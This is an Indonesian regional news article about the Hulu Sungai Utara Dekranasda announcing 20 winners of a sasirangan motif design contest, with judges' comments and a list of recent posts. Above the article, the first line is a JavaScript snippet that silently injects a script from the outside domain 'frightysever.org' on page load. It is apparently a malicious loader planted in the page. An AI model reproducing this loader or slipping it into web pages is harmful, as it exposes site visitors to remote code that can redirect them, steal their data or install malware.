(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Dekranasda HSU Rilis 20 Pemenang Lomba Desain Motif Sasirangan


AMUNTAI, Dewan Kerajinan Nasional Daerah (Dekranasda) Kabupaten Hulu Sungai Utara (HSU) secara resmi merilis 10 pemenang lomba desain motif sasirangan kategori pelajar dan 10 pemenang kategori umum melalui website resmi Pemerintah Kabupaten Hulu Sungai Utara (www.hulusungaiutarakab.go.id), Senin (25/3)
Penentuan 10 pemenang kategori pelajar dan 10 pemenang kategori umum dilakukan setelah penilaian yang alot oleh 4 juri, baik dari juri yang berasal dari pengajar, pengrajin sasirangan maupun dari juri budayawan.

Menurut salah satu juri Mas Alkalani Muchtar, budayawan daerah, ia mengakui animo masyarakat yang mengikuti lomba desain sasirangan ini, diharapkan nantinya benar-benar menghasilkan motif sasirangan mengangkat nama daerah HSU.

“Mudah-mudahan dengan adanya perlombaan ini Hulu Sungai Utara semakin dikenal,” ujarnya.
Ia menambahkan, untuk kriteria penilaian dilakukan berdasarkan kepada desain kombinasi, komposisi warna, serta khasanah budaya yang terkandung dalam desain motif tersebut.

“Dari 10 pemenang kategori pelajar maupun 10 pemenang kategori umum akan kami ambil 3 terbaik dari masing-masing kategori,” katanya.

Sementara itu, juri yang lainnya, Rusiati, salah satu pengusaha sasirangan mengakui peminat lomba desain motif sasirangan kali ini sangat banyak, sehingga pemerintah daerah perlu terus melakukan pembinaan berkelanjutan.

“Kalau perlu lomba desain motif sasingan sekaligus aplikasinya melalui sehelai media kain,” ujar pengusaha sasirangan asal Banjarmasin ini.
Lebih lanjut menurutnya, salah satu segi penilaian sendiri adalah bagaimana desain motif sasingan tersebut dapat diimplementasikan melalui media kain yang menghasilkan motif sasingan sebenarnya, tidak hanya sekedar desain.

“Adapun desain motif yang kebanyakan diambil oleh para peserta adalah sebagai motif ciri khas daerah misalnya motif teratai, itik, kerbau dan sebagainya, namun yang terlebih penting adalah tidak meninggalkan dari khasanah motif asli dari sasirangan itu sendiri,” bebernya.
Rusiati berharap, dari gelaran lomba desain motif sasirangan ini, dapat menumbuhkan minat serta menghasilkan pengrajin-pengrajin sasingan baru yang mampu mengangkat perekonomian di Kabupaten Hulu Sungai Utara. (dew)

Reporter:Dew
Editor:Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.